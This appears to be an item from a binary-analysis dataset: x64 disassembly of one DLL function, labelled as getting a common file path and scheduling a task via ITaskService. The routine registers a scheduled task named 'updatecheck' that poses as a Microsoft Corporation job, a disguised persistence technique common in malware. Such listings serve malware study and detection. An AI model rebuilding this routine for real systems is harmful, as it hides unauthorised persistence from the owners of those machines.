Function at 0x1800012b0
Capabilities:
Get common file path
Schedule task via itaskservice

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x3b8]
sub rsp, 0x490
movaps xmmword [rax - 0x38], xmm6
movaps xmmword [rax - 0x48], xmm7
movaps xmmword [rax - 0x58], xmm8
movaps xmmword [rax - 0x68], xmm9
movaps xmmword [rax - 0x78], xmm10
movaps xmmword [rax - 0x88], xmm11
mov rax, qword [0x18002d040]
xor rax, rsp
mov qword [rbp + 0x320], rax
xor r14d, r14d
xorps xmm0, xmm0
movups xmmword [rbp + 0x1d8], xmm0
lea ecx, [r14 + 0x30]
call fcn.180003b84
mov rdx, rax
mov qword [rsp + 0x58], rax
mov qword [rbp + 0x1d8], rax
mov qword [rbp + 0x1e8], 0x27
mov qword [rbp + 0x1f0], 0x2f
movups xmm0, xmmword [str.fjhvbsjf2837rf37wt4fg0349yfp23u9fhweugf]
movups xmmword [rax], xmm0
movups xmm1, xmmword [0x180027a60]
movups xmmword [rax + 0x10], xmm1
mov ecx, dword [0x180027a70]
mov dword [rax + 0x20], ecx
movzx eax, word [0x180027a74]
mov word [rdx + 0x24], ax
movzx eax, byte [0x180027a76]
mov byte [rdx + 0x26], al
mov byte [rdx + 0x27], r14b
mov qword [rbp + 0x188], r14
lea r9, [rbp + 0x188]
xor r8d, r8d
xor edx, edx
lea rcx, [0x18001f3f0]
call qword [sym.imp.SHELL32.dll_SHGetKnownFolderPath]
mov rdx, qword [rbp + 0x188]
lea rcx, [rbp + 0x258]
call fcn.1800034c0
nop
lea rdx, [rbp + 0x258]
lea rcx, [rbp + 0x1b8]
call fcn.180003660
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x1f8], xmm0
lea ecx, [r14 + 0x30]
call fcn.180003b84
mov r15, rax
mov qword [rbp + 0x1f8], rax
mov qword [rbp + 0x208], 0x27
mov qword [rbp + 0x210], 0x2f
movups xmm0, xmmword [str.fjhvbsjf2837rf37wt4fg0349yfp23u9fhweugf]
movups xmmword [rax], xmm0
movups xmm1, xmmword [0x180027a60]
movups xmmword [rax + 0x10], xmm1
mov ecx, dword [0x180027a70]
mov dword [rax + 0x20], ecx
movzx ecx, word [0x180027a74]
mov word [rax + 0x24], cx
movzx eax, byte [0x180027a76]
mov byte [r15 + 0x26], al
mov byte [r15 + 0x27], r14b
xorps xmm0, xmm0
movups xmmword [rbp + 0x218], xmm0
lea ecx, [r14 + 0x30]
call fcn.180003b84
mov r13, rax
mov qword [rbp + 0x218], rax
mov qword [rbp + 0x228], 0x27
mov qword [rbp + 0x230], 0x2f
movups xmm0, xmmword [str.fjhvbsjf2837rf37wt4fg0349yfp23u9fhweugf]
movups xmmword [rax], xmm0
movups xmm1, xmmword [0x180027a60]
movups xmmword [rax + 0x10], xmm1
mov ecx, dword [0x180027a70]
mov dword [rax + 0x20], ecx
movzx ecx, word [0x180027a74]
mov word [rax + 0x24], cx
movzx eax, byte [0x180027a76]
mov byte [r13 + 0x26], al
mov byte [r13 + 0x27], r14b
xorps xmm0, xmm0
movups xmmword [rbp + 0x238], xmm0
lea ecx, [r14 + 0x30]
call fcn.180003b84
mov r12, rax
mov qword [rbp + 0x238], rax
mov qword [rbp + 0x248], 0x27
mov qword [rbp + 0x250], 0x2f
movups xmm0, xmmword [str.fjhvbsjf2837rf37wt4fg0349yfp23u9fhweugf]
movups xmmword [rax], xmm0
movups xmm1, xmmword [0x180027a60]
movups xmmword [rax + 0x10], xmm1
mov ecx, dword [0x180027a70]
mov dword [rax + 0x20], ecx
movzx ecx, word [0x180027a74]
mov word [rax + 0x24], cx
movzx eax, byte [0x180027a76]
mov byte [r12 + 0x26], al
mov byte [r12 + 0x27], r14b
xor edx, edx
xor ecx, ecx
call qword [sym.imp.ole32.dll_CoInitializeEx]
lea esi, [r14 + 1]
test eax, eax
js 0x180002133
mov qword [rsp + 0x40], r14
mov dword [rsp + 0x38], r14d
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], 3
mov dword [rsp + 0x20], 6
xor r9d, r9d
xor r8d, r8d
mov edi, 0xffffffff
mov edx, edi
xor ecx, ecx
call qword [sym.imp.ole32.dll_CoInitializeSecurity]
test eax, eax
js 0x18000212c
mov qword [rbp + 0x130], r14
lea rax, [rbp + 0x130]
mov qword [rsp + 0x20], rax
lea r9, [0x18001f4e0]
mov r8d, esi
xor edx, edx
lea rcx, [0x18001f500]
call qword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
js 0x18000212c
lea rcx, [rbp - 0x10]
call qword [sym.imp.OLEAUT32.dll_VariantClear]
nop
movups xmm11, xmmword [rbp - 0x10]
movsd xmm10, qword [rbp]
lea rcx, [rbp - 0x58]
call qword [sym.imp.OLEAUT32.dll_VariantClear]
nop
movups xmm9, xmmword [rbp - 0x58]
movsd xmm8, qword [rbp - 0x48]
lea rcx, [rbp - 0x40]
call qword [sym.imp.OLEAUT32.dll_VariantClear]
nop
movups xmm7, xmmword [rbp - 0x40]
movsd xmm6, qword [rbp - 0x30]
lea rcx, [rbp - 0x28]
call qword [sym.imp.OLEAUT32.dll_VariantClear]
nop
movaps xmmword [rbp + 0x50], xmm11
movsd qword [rbp + 0x60], xmm10
movaps xmmword [rbp + 0x30], xmm9
movsd qword [rbp + 0x40], xmm8
movaps xmmword [rbp + 0x10], xmm7
movsd qword [rbp + 0x20], xmm6
movups xmm0, xmmword [rbp - 0x28]
movaps xmmword [rbp + 0xa0], xmm0
movsd xmm1, qword [rbp - 0x18]
movsd qword [rbp + 0xb0], xmm1
mov rcx, qword [rbp + 0x130]
mov rax, qword [rcx]
lea rdx, [rbp + 0x50]
mov qword [rsp + 0x20], rdx
lea r9, [rbp + 0x30]
lea r8, [rbp + 0x10]
lea rdx, [rbp + 0xa0]
call qword [rax + 0x50]
mov ebx, eax
lea rcx, [rbp - 0x28]
call qword [sym.imp.OLEAUT32.dll_VariantCopy]
nop
lea rcx, [rbp - 0x40]
call qword [sym.imp.OLEAUT32.dll_VariantCopy]
nop
lea rcx, [rbp - 0x58]
call qword [sym.imp.OLEAUT32.dll_VariantCopy]
nop
lea rcx, [rbp - 0x10]
call qword [sym.imp.OLEAUT32.dll_VariantCopy]
test ebx, ebx
jns 0x18000166d
mov rcx, qword [rbp + 0x130]
jmp 0x180002126
mov qword [rbp + 0x128], r14
mov ecx, 0x18
call fcn.180003b84
mov rbx, rax
mov qword [rbp + 0x190], rax
test rax, rax
je 0x1800016bb
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], rax
mov qword [rbx + 8], r14
mov dword [rbx + 0x10], esi
lea rcx, [0x180027ab0]
call qword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov qword [rbx], rax
test rax, rax
je 0x180002263
jmp 0x1800016be
mov rbx, r14
mov qword [rbp + 0x78], rbx
test rbx, rbx
je 0x1800022d7
mov rcx, qword [rbp + 0x130]
mov rax, qword [rcx]
lea r8, [rbp + 0x128]
mov rdx, qword [rbx]
call qword [rax + 0x38]
mov r14d, eax
mov ecx, edi
lock xadd dword [rbx + 0x10], ecx
cmp ecx, 1
jne 0x180001729
mov rcx, qword [rbx]
test rcx, rcx
je 0x180001706
call qword [sym.imp.OLEAUT32.dll_SysStringLen]
mov qword [rbx], 0
mov rcx, qword [rbx + 8]
test rcx, rcx
je 0x18000171c
call fcn.180003b50
mov qword [rbx + 8], 0
mov edx, 0x18
mov rcx, rbx
call fcn.180003b50
test r14d, r14d
jns 0x180001749
mov rcx, qword [rbp + 0x130]
mov rax, qword [rcx]
call qword [rax + 0x10]
call qword [sym.imp.ole32.dll_CoUninitialize]
xor r14d, r14d
jmp 0x180002133
mov ecx, 0x18
call fcn.180003b84
mov rbx, rax
mov qword [rsp + 0x50], rax
xor r14d, r14d
test rax, rax
je 0x180001791
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], rax
mov qword [rbx + 8], r14
mov dword [rbx + 0x10], esi
lea rcx, str.updatecheck
call qword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov qword [rbx], rax
test rax, rax
je 0x18000226e
jmp 0x180001794
mov rbx, r14
mov qword [rbp + 8], rbx
test rbx, rbx
je 0x1800022d7
mov rcx, qword [rbp + 0x128]
mov rax, qword [rcx]
xor r8d, r8d
mov rdx, qword [rbx]
call qword [rax + 0x78]
nop
mov eax, edi
lock xadd dword [rbx + 0x10], eax
cmp eax, 1
jne 0x1800017f1
mov rcx, qword [rbx]
test rcx, rcx
je 0x1800017d2
call qword [sym.imp.OLEAUT32.dll_SysStringLen]
mov qword [rbx], r14
mov rcx, qword [rbx + 8]
test rcx, rcx
je 0x1800017e4
call fcn.180003b50
mov qword [rbx + 8], r14
mov edx, 0x18
mov rcx, rbx
call fcn.180003b50
mov qword [rbp + 0x120], r14
mov rcx, qword [rbp + 0x130]
mov rax, qword [rcx]
lea r8, [rbp + 0x120]
xor edx, edx
call qword [rax + 0x48]
mov ebx, eax
mov rcx, qword [rbp + 0x130]
mov rdx, qword [rcx]
call qword [rdx + 0x10]
test ebx, ebx
jns 0x18000182d
mov rcx, qword [rbp + 0x128]
jmp 0x180002126
mov qword [rbp + 0x140], r14
mov rcx, qword [rbp + 0x120]
mov rax, qword [rcx]
lea rdx, [rbp + 0x140]
call qword [rax + 0x38]
test eax, eax
js 0x180002112
lea rcx, str.Microsoft_Corporation
call qword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov rcx, qword [rbp + 0x140]
mov r8, qword [rcx]
mov rdx, rax
call qword [r8 + 0x50]
mov ecx, 0x18
call fcn.180003b84
mov rbx, rax
mov qword [rsp + 0x50], rax
test rax, rax
je 0x1800018b3
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], rax
mov qword [rbx + 8], r14
mov dword [rbx + 0x10], esi
lea rcx, str.Check_the_running_status
call qword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov qword [rbx], rax
test rax, rax
je 0x180002279
jmp 0x1800018b6
mov rbx, r14
mov qword [rbp + 0x80], rbx
test rbx, rbx
je 0x1800022d7
mov rcx, qword [rbp + 0x140]
mov rax, qword [rcx]
mov rdx, qword [rbx]
call qword [rax + 0x40]
mov r14d, eax
mov ecx, edi
lock xadd dword [rbx + 0x10], ecx
cmp ecx, 1
jne 0x18000191d
mov rcx, qword [rbx]
test rcx, rcx
je 0x1800018fa
call qword [sym.imp.OLEAUT32.dll_SysStringLen]
mov qword [rbx], 0
mov rcx, qword [rbx + 8]
test rcx, rcx
je 0x180001910
call fcn.180003b50
mov qword [rbx + 8], 0
mov edx, 0x18
mov rcx, rbx
call fcn.180003b50
mov rcx, qword [rbp + 0x140]
mov rax, qword [rcx]
call qword [rax + 0x10]
test r14d, r14d
jns 0x180001957
mov rcx, qword [rbp + 0x128]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbp + 0x120]
mov rax, qword [rcx]
call qword [rax + 0x10]
call qword [sym.imp.ole32.dll_CoUninitialize]
xor r14d, r14d
jmp 0x180002133
xor r14d, r14d
mov qword [rbp + 0x170], r14
mov rcx, qword [rbp + 0x120]
mov rax, qword [rcx]
lea rdx, [rbp + 0x170]
call qword [rax + 0x78]
test eax, eax
js 0x180002112
mov rcx, qword [rbp + 0x170]
mov rax, qword [rcx]
lea edx, [r14 + 3]
call qword [rax + 0x70]
mov ebx, eax
mov rcx, qword [rbp + 0x170]
mov rdx, qword [rcx]
call qword [rdx + 0x10]
test ebx, ebx
js 0x180002112
mov qword [rbp + 0x168], r14
mov rcx, qword [rbp + 0x120]
mov rax, qword [rcx]
lea rdx, [rbp + 0x168]
call qword [rax + 0x58]
test eax, eax
js 0x180002112
mov rcx, qword [rbp + 0x168]
mov rax, qword [rcx]
mov edx, edi
call qword [rax + 0xb0]
mov ebx, eax
mov rcx, qword [rbp + 0x168]
mov rdx, qword [rcx]
call qword [rdx + 0x10]
test ebx, ebx
js 0x180002112
mov qword [rbp + 0x160], r14
mov rcx, qword [rbp + 0x120]
mov rax, qword [rcx]
lea rdx, [rbp + 0x160]
call qword [rax + 0x48]
test eax, eax
js 0x180002112
mov qword [rbp + 0x158], r14
mov rcx, qword [rbp + 0x160]
mov rax, qword [rcx]
lea r8, [rbp + 0x158]
mov edx, esi
call qword [rax + 0x50]
mov ebx, eax
mov rcx, qword [rbp + 0x160]
mov rdx, qword [rcx]
call qword [rdx + 0x10]
test ebx, ebx
js 0x180002112
mov qword [rbp + 0x138], r14
mov rcx, qword [rbp + 0x158]
mov rax, qword [rcx]
lea r8, [rbp + 0x138]
lea rdx, [0x18001f4f0]
call qword [rax]
mov ebx, eax
mov rcx, qword [rbp + 0x158]
mov rdx, qword [rcx]
call qword [rdx + 0x10]
test ebx, ebx
js 0x180002112
call fcn.1800038dc
lea rcx, [rax + 0x23c34600]
movabs rax, 0xd6bf94d5e57a42bd
imul rcx
add rdx, rcx
sar rdx, 0x17
mov rax, rdx
shr rax, 0x3f
add rdx, rax
mov qword [rbp + 0x190], rdx
lea rdx, [rbp + 0x190]
lea rcx, [rbp + 0x278]
call fcn.18000ceb0
lea r9, [rbp + 0x278]
lea r8, str._Y__m__dT_H:_M:_S
lea edx, [r14 + 0x40]
lea rcx, [rbp + 0x2a0]
call fcn.18000e790
lea rdx, [rbp + 0x2a0]
lea rcx, [rbp + 0x198]
call fcn.1800034c0
nop
lea ecx, [r14 + 0x18]
call fcn.180003b84
mov rbx, rax
mov qword [rsp + 0x50], rax
test rax, rax
je 0x180001b3a
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], rax
mov qword [rbx + 8], r14
mov dword [rbx + 0x10], esi
lea rcx, [0x180027b1c]
call qword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov qword [rbx], rax
test rax, rax
je 0x180002284
jmp 0x180001b3d
mov rbx, r14
mov qword [rbp + 0x88], rbx
test rbx, rbx
je 0x1800022cc
mov rcx, qword [rbp + 0x138]
mov rax, qword [rcx]
mov rdx, qword [rbx]
call qword [rax + 0x48]
mov r14d, eax
mov ecx, edi
lock xadd dword [rbx + 0x10], ecx
cmp ecx, 1
jne 0x180001ba4
mov rcx, qword [rbx]
test rcx, rcx
je 0x180001b81
call qword [sym.imp.OLEAUT32.dll_SysStringLen]
mov qword [rbx], 0
mov rcx, qword [rbx + 8]
test rcx, rcx
je 0x180001b97
call fcn.180003b50
mov qword [rbx + 8], 0
mov edx, 0x18
mov rcx, rbx
call fcn.180003b50
test r14d, r14d
jns 0x180001bb5
lea rcx, [0x180027a20]
call fcn.180001010
lea r14, [rbp + 0x198]
cmp qword [rbp + 0x1b0], 7
cmova r14, qword [rbp + 0x198]
mov ecx, 0x18
call fcn.180003b84
mov rbx, rax
mov qword [rsp + 0x50], rax
test rax, rax
je 0x180001c12
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], rax
mov qword [rbx + 8], rax
mov dword [rbx + 0x10], esi
mov rcx, r14
call qword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov qword [rbx], rax
test rax, rax
jne 0x180001c14
test r14, r14
jne 0x18000228f
jmp 0x180001c14
xor ebx, ebx
mov qword [rbp + 0x90], rbx
test rbx, rbx
je 0x1800022cc
mov rcx, qword [rbp + 0x138]
mov rax, qword [rcx]
mov rdx, qword [rbx]
call qword [rax + 0x78]
mov r14d, eax
mov ecx, edi
lock xadd dword [rbx + 0x10], ecx
cmp ecx, 1
jne 0x180001c7b
mov rcx, qword [rbx]
test rcx, rcx
je 0x180001c58
call qword [sym.imp.OLEAUT32.dll_SysStringLen]
mov qword [rbx], 0
mov rcx, qword [rbx + 8]
test rcx, rcx
je 0x180001c6e
call fcn.180003b50
mov qword [rbx + 8], 0
mov edx, 0x18
mov rcx, rbx
call fcn.180003b50
test r14d, r14d
jns 0x180001cc1
lea rcx, [0x180027a20]
call fcn.180001010
mov rcx, qword [rbp + 0x138]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbp + 0x128]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbp + 0x120]
mov rax, qword [rcx]
call qword [rax + 0x10]
call qword [sym.imp.ole32.dll_CoUninitialize]
xor r14d, r14d
jmp 0x1800020b2
mov rcx, qword [rbp + 0x138]
mov rax, qword [rcx]
call qword [rax + 0x10]
xor r14d, r14d
mov qword [rbp + 0x150], r14
mov rcx, qword [rbp + 0x120]
mov rax, qword [rcx]
lea rdx, [rbp + 0x150]
call qword [rax + 0x88]
test eax, eax
jns 0x180001d18
mov rcx, qword [rbp + 0x128]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbp + 0x120]
mov rax, qword [rcx]
call qword [rax + 0x10]
call qword [sym.imp.ole32.dll_CoUninitialize]
jmp 0x1800020b2
mov qword [rbp + 0x148], r14
mov rcx, qword [rbp + 0x150]
mov rax, qword [rcx]
lea r8, [rbp + 0x148]
xor edx, edx
call qword [rax + 0x60]
mov ebx, eax
mov rcx, qword [rbp + 0x150]
mov rdx, qword [rcx]
call qword [rdx + 0x10]
test ebx, ebx
jns 0x180001d6d
mov rcx, qword [rbp + 0x128]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbp + 0x120]
mov rax, qword [rcx]
call qword [rax + 0x10]
call qword [sym.imp.ole32.dll_CoUninitialize]
jmp 0x1800020b2
mov qword [rbp + 0x178], r14
mov rcx, qword [rbp + 0x148]
mov rax, qword [rcx]
lea r8, [rbp + 0x178]
lea rdx, str.MbLk
call qword [rax]
mov ebx, eax
mov rcx, qword [rbp + 0x148]
mov rdx, qword [rcx]
call qword [rdx + 0x10]
test ebx, ebx
jns 0x180001dc6
mov rcx, qword [rbp + 0x128]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbp + 0x120]
mov rax, qword [rcx]
call qword [rax + 0x10]
call qword [sym.imp.ole32.dll_CoUninitialize]
jmp 0x1800020b2
lea r14, [rbp + 0x1b8]
cmp qword [rbp + 0x1d0], 7
cmova r14, qword [rbp + 0x1b8]
mov ecx, 0x18
call fcn.180003b84
mov rbx, rax
mov qword [rsp + 0x50], rax
test rax, rax
je 0x180001e23
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], rax
mov qword [rbx + 8], rax
mov dword [rbx + 0x10], esi
mov rcx, r14
call qword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov qword [rbx], rax
test rax, rax
jne 0x180001e25
test r14, r14
jne 0x18000229a
jmp 0x180001e25
xor ebx, ebx
mov qword [rbp + 0x98], rbx
test rbx, rbx
je 0x1800022cc
mov rcx, qword [rbp + 0x178]
mov rax, qword [rcx]
mov rdx, qword [rbx]
call qword [rax + 0x58]
mov r14d, eax
mov ecx, edi
lock xadd dword [rbx + 0x10], ecx
cmp ecx, 1
jne 0x180001e8c
mov rcx, qword [rbx]
test rcx, rcx
je 0x180001e69
call qword [sym.imp.OLEAUT32.dll_SysStringLen]
mov qword [rbx], 0
mov rcx, qword [rbx + 8]
test rcx, rcx
je 0x180001e7f
call fcn.180003b50
mov qword [rbx + 8], 0
mov edx, 0x18
mov rcx, rbx
call fcn.180003b50
mov rcx, qword [rbp + 0x178]
mov rax, qword [rcx]
call qword [rax + 0x10]
test r14d, r14d
jns 0x180001ec6
mov rcx, qword [rbp + 0x128]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbp + 0x120]
mov rax, qword [rcx]
call qword [rax + 0x10]
call qword [sym.imp.ole32.dll_CoUninitialize]
xor r14d, r14d
jmp 0x1800020b2
xor r14d, r14d
mov qword [rbp + 0x180], r14
mov eax, 8
mov word [rsp + 0x60], ax
lea rcx, [0x180027b24]
call qword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov qword [rsp + 0x68], rax
test rax, rax
je 0x1800022b0
movups xmm9, xmmword [rsp + 0x60]
movsd xmm8, qword [rsp + 0x70]
lea rcx, [rsp + 0x78]
call qword [sym.imp.OLEAUT32.dll_VariantClear]
nop
movups xmm7, xmmword [rsp + 0x78]
movsd xmm6, qword [rbp - 0x78]
lea rcx, [rbp - 0x70]
call qword [sym.imp.OLEAUT32.dll_VariantClear]
nop
movaps xmmword [rbp + 0xc0], xmm9
movsd qword [rbp + 0xd0], xmm8
movaps xmmword [rbp + 0xe0], xmm7
movsd qword [rbp + 0xf0], xmm6
movups xmm0, xmmword [rbp - 0x70]
movaps xmmword [rbp + 0x100], xmm0
movsd xmm1, qword [rbp - 0x60]
movsd qword [rbp + 0x110], xmm1
lea ecx, [r14 + 0x18]
call fcn.180003b84
mov rbx, rax
mov qword [rsp + 0x50], rax
test rax, rax
je 0x180001f9f
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], rax
mov qword [rbx + 8], r14
mov dword [rbx + 0x10], esi
lea rcx, str.updatecheck
call qword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov qword [rbx], rax
test rax, rax
je 0x1800022a5
jmp 0x180001fa2
mov rbx, r14
mov qword [rbp + 0x70], rbx
test rbx, rbx
je 0x1800022bb
mov rcx, qword [rbp + 0x128]
mov rax, qword [rcx]
lea rdx, [rbp + 0x180]
mov qword [rsp + 0x40], rdx
lea rdx, [rbp + 0xc0]
mov qword [rsp + 0x38], rdx
mov dword [rsp + 0x30], 3
lea rdx, [rbp + 0xe0]
mov qword [rsp + 0x28], rdx
lea rdx, [rbp + 0x100]
mov qword [rsp + 0x20], rdx
mov r9d, 6
mov r8, qword [rbp + 0x120]
mov rdx, qword [rbx]
call qword [rax + 0x88]
mov r14d, eax
lock xadd dword [rbx + 0x10], edi
cmp edi, 1
jne 0x18000204d
mov rcx, qword [rbx]
test rcx, rcx
je 0x180002029
call qword [sym.imp.OLEAUT32.dll_SysStringLen]
mov qword [rbx], 0
mov rcx, qword [rbx + 8]
test rcx, rcx
je 0x18000203f
call fcn.180003b50
mov qword [rbx + 8], 0
mov edx, 0x18
mov rcx, rbx
call fcn.180003b50
nop
lea rcx, [rbp - 0x70]
call qword [sym.imp.OLEAUT32.dll_VariantCopy]
nop
lea rcx, [rsp + 0x78]
call qword [sym.imp.OLEAUT32.dll_VariantCopy]
nop
lea rcx, [rsp + 0x60]
call qword [sym.imp.OLEAUT32.dll_VariantCopy]
mov rcx, qword [rbp + 0x128]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbp + 0x120]
mov rax, qword [rcx]
call qword [rax + 0x10]
test r14d, r14d
jns 0x180002099
call qword [sym.imp.ole32.dll_CoUninitialize]
xor r14d, r14d
jmp 0x1800020b2
mov rcx, qword [rbp + 0x180]
mov rax, qword [rcx]
call qword [rax + 0x10]
call qword [sym.imp.ole32.dll_CoUninitialize]
xor r14d, r14d
mov esi, r14d
mov rdx, qword [rbp + 0x1b0]
cmp rdx, 7
jbe 0x1800020f8
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x198]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800020f3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800022c6
call fcn.180003b50
movdqa xmm0, xmmword [0x180027b90]
movdqu xmmword [rbp + 0x1a8], xmm0
mov word [rbp + 0x198], r14w
jmp 0x180002133
mov rcx, qword [rbp + 0x128]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbp + 0x120]
mov rax, qword [rcx]
call qword [rax + 0x10]
call qword [sym.imp.ole32.dll_CoUninitialize]
nop
mov edx, 0x30
mov rcx, r12
call fcn.180003b50
nop
mov edx, 0x30
mov rcx, r13
call fcn.180003b50
nop
mov edx, 0x30
mov rcx, r15
call fcn.180003b50
nop
mov rdx, qword [rbp + 0x1d0]
cmp rdx, 7
jbe 0x1800021a3
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x1b8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000219e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800022e2
call fcn.180003b50
movdqa xmm0, xmmword [0x180027b90]
movdqu xmmword [rbp + 0x1c8], xmm0
mov word [rbp + 0x1b8], r14w
mov rdx, qword [rbp + 0x270]
cmp rdx, 7
jbe 0x1800021fe
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x258]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800021f8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000225d
call fcn.180003b50
nop
mov edx, 0x30
mov rcx, qword [rsp + 0x58]
call fcn.180003b50
mov eax, esi
mov rcx, qword [rbp + 0x320]
xor rcx, rsp
call fcn.180003b30
lea r11, [rsp + 0x490]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
movaps xmm9, xmmword [r11 - 0x40]
movaps xmm10, xmmword [r11 - 0x50]
movaps xmm11, xmmword [r11 - 0x60]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.18000cb38
nop
mov ecx, 0x8007000e
call fcn.180003990
nop
mov ecx, 0x8007000e
call fcn.180003990
nop
mov ecx, 0x8007000e
call fcn.180003990
nop
mov ecx, 0x8007000e
call fcn.180003990
nop
mov ecx, 0x8007000e
call fcn.180003990
nop
mov ecx, 0x8007000e
call fcn.180003990
nop
mov ecx, 0x8007000e
call fcn.180003990
nop
mov ecx, 0x8007000e
call fcn.180003990
nop
mov ecx, 0x8007000e
call fcn.180003990
nop
call fcn.18000cb38
nop
mov ecx, 0x8007000e
call fcn.180003990
nop
mov ecx, 0x8007000e
call fcn.180003990
nop
call fcn.18000cb38
int3